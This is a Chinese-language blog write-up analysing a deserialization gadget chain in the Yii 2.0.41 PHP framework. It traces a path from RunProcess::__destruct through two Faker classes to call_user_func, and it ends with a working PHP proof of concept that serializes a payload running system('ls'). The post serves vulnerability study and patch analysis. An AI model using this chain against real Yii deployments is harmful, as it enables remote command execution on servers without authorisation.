Yii 2.0.41 反序列化漏洞分析

Include POP and EXP

Posted by SEVENTEEN on May 19, 2021

前言

   既然前面分析了Yii2.0.32,就顺便分析一下新版本Yii 2.0.41的POP链, 学习一下官方的补丁以及补丁的不足。

配置环境

   下载Yii 2.0.41

   在config/web.php里配置cookieValidationKey,否则会报错。

   SiteController中加入反序列化点,通过r=site%2Ftest来触发。

利用条件

   yii2 version <= 2.0.41

利用链

vendor/codeception/codeception/ext/RunProcess.php::__destruct()

vendor/fakerphp/faker/src/Faker/ValidGenerator.php::__call()

vendor/fakerphp/faker/src/Faker/DefaultGenerator.php::__call()

补丁

   可以看到官方的补丁加了个__wakeup方法,在反序列化时触发该方法。

   官方也在这里加了个__wakeup方法,相当于上一条链已经用不了了,但可以在其它地方找到差不多的POP链。

构造利用链

   旧的不去新的不来,找到新的__destruct()方法来触发, 该方法位于vendor/codeception/codeception/ext/RunProcess.php, 并且该类中没有__wakeup()。

   可以看到__destruct调用了$this->stopProcess()。 进入$this->stopProcess()方法后,这里在if中调用了$process->isRunning()。 而$process来源于foreach迭代器中的$this->processes,$this->processes可控, 我们就可以来触发__call方法啦。

令$this->processes[] = new ValidGenerator()

   全局找一下没有__wakeup()方法且含有__call()方法的类来触发, 找到vendor/fakerphp/faker/src/Faker/ValidGenerator.php

   看到这个call_user_func_array()跟call_user_func()就知道一切都好起来了, 跟上一条链一样。不过需要控制$this->validator跟$res才行,$this->validator这个参数可控, 而$res需要利用call_user_func_array([$this->generator, $name], $arguments)回调一个可以控制返回值的__call方法。

令$this->generator = new DefaultGenerator()

   再次全局搜索一个__call()方法来利用,这里用的是vendor/fakerphp/faker/src/Faker/DefaultGenerator.php

   看一下该类中的__call方法,返回值$this->default可控。

令$this->default = 'ls'

   这里if条件必须为false,一旦为true进去if里面就被throw抛出程序外了,所以控制$this->maxRetries为大于1的数。 接着,进去while条件执行call_user_func($this->validator, $res),$this->validator可控,即可命令执行。

令$this->validator = "system"和$this->maxRetries = 17

POC

<?php

namespace Codeception\Extension;

use Faker\ValidGenerator;

class RunProcess
{
    private $processes = [];

    public function __construct()
    {
        $this->processes[] = new ValidGenerator();
    }
}

$pwn = new RunProcess();
echo base64_encode(serialize($pwn));


namespace Faker;

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;

    public function __construct()
    {
        $this->generator = new DefaultGenerator();
        $this->validator = "system";
        $this->maxRetries=17;
    }

    public function __call($name, $arguments)
    {
    }
}

class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = 'ls';
    }

    public function __call($method, $attributes)
    {
    }
}

There Is Nothing Below

   

Turn at the next intersection.